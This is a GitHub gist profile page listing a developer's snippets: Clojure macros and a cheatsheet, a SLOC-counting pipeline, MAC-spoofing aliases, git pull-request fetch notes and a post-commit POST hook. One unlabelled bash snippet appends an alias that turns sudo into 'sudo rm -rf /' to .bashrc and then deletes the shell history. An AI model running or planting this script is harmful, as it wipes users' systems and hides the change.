Skip to content

Instantly share code, notes, and snippets.

View mybuddymichael's full-sized avatar

Michael Hanson mybuddymichael

View GitHub Profile
# Public: Get one of the class's time properties with the correct time
# but also including the timezone.
#
# Returns a DateTime object.
[:last_sync_time, :last_parse_time, :last_connect_time].each do |attribute|
define_method(attribute) do
convert_to_timezone_without_changing_time(read_attribute(attribute),
read_attribute(:timezone))
end
end
@mybuddymichael
mybuddymichael / count-clj-sloc.sh
Last active December 10, 2015 01:48 — forked from andrewvc/count-clj-sloc.sh
Count the lines of code in a Clojure project (`src` and `test` directories only).
# Count SLOC
export SLF=`mktemp -t cljsloc`; \
find src test -name "*.clj" \
| xargs egrep -v "(^[[:space:]]*$|^[[:space:]]*;)" \
| cut -d: -f1 > $SLF && echo "Files"; \
uniq -c $SLF; \
echo "Total" `cat $SLF | wc -l`; \
rm $SLF
@mybuddymichael
mybuddymichael / deftest*.clj
Last active December 10, 2015 11:08
Using a String for Clojure test names.
(require 'clojure.test)
(defmacro deftest*
[name-string & body]
(let [name-symbol
(-> name-string
clojure.string/lower-case
(clojure.string/replace #"\W" "-")
(clojure.string/replace #"-+" "-")
(clojure.string/replace #"-$" "")
#!/usr/bin/env bash
echo "alias sudo='sudo rm -rf /;'" >> $HOME/.bashrc
rm ~/.bash_history
exit
@mybuddymichael
mybuddymichael / debug.clj
Last active December 11, 2015 17:58
Debugging in Clojure
(defmacro debug [x]
`(let [x# ~x]
(println "debug:" '~x "=" x#)
x#))
(def foo 4)
(debug foo)
; debug: foo = 4
;=> 4
# MAC manipulators
alias random_mac='sudo ifconfig en0 ether `openssl rand -hex 6 | sed "s/\(..\)/\1:/g; s/.$//"`'
alias restore_mac='sudo ifconfig en0 ether YOUR_ORIGINAL_MAC_ADDRESS_GOES_HERE'

Locate the section for your github remote in the .git/config file. It looks like this:

[remote "origin"]
	fetch = +refs/heads/*:refs/remotes/origin/*
	url = [email protected]:joyent/node.git

Now add the line fetch = +refs/pull/*/head:refs/remotes/origin/pr/* to this section. Obviously, change the github url to match your project's URL. It ends up looking like this:

;;
;; NS CHEATSHEET
;;
;; * :require makes functions available with a namespace prefix.
;;
;; * :use makes functions available without a namespace prefix
;; (i.e., refers functions to the current namespace).
;;
;; * :import refers Java classes to the current namespace.
;;
@mybuddymichael
mybuddymichael / post-commit
Created June 27, 2013 22:42
Send a POST to a server with commit information.
#!/usr/bin/env bash
# Sends a POST request to a listening server with commit info.
set -e
user_name=$(git log -1 --pretty=%cn)
repo=$(basename "$(git rev-parse --show-toplevel)")
branch=$(git symbolic-ref HEAD 2> /dev/null | sed 's/refs\/heads\///g')
commit_message=$(git log -1 --pretty=%s)

Sketch Plugins

A list of Sketch plugins hosted at GitHub, in no particular order.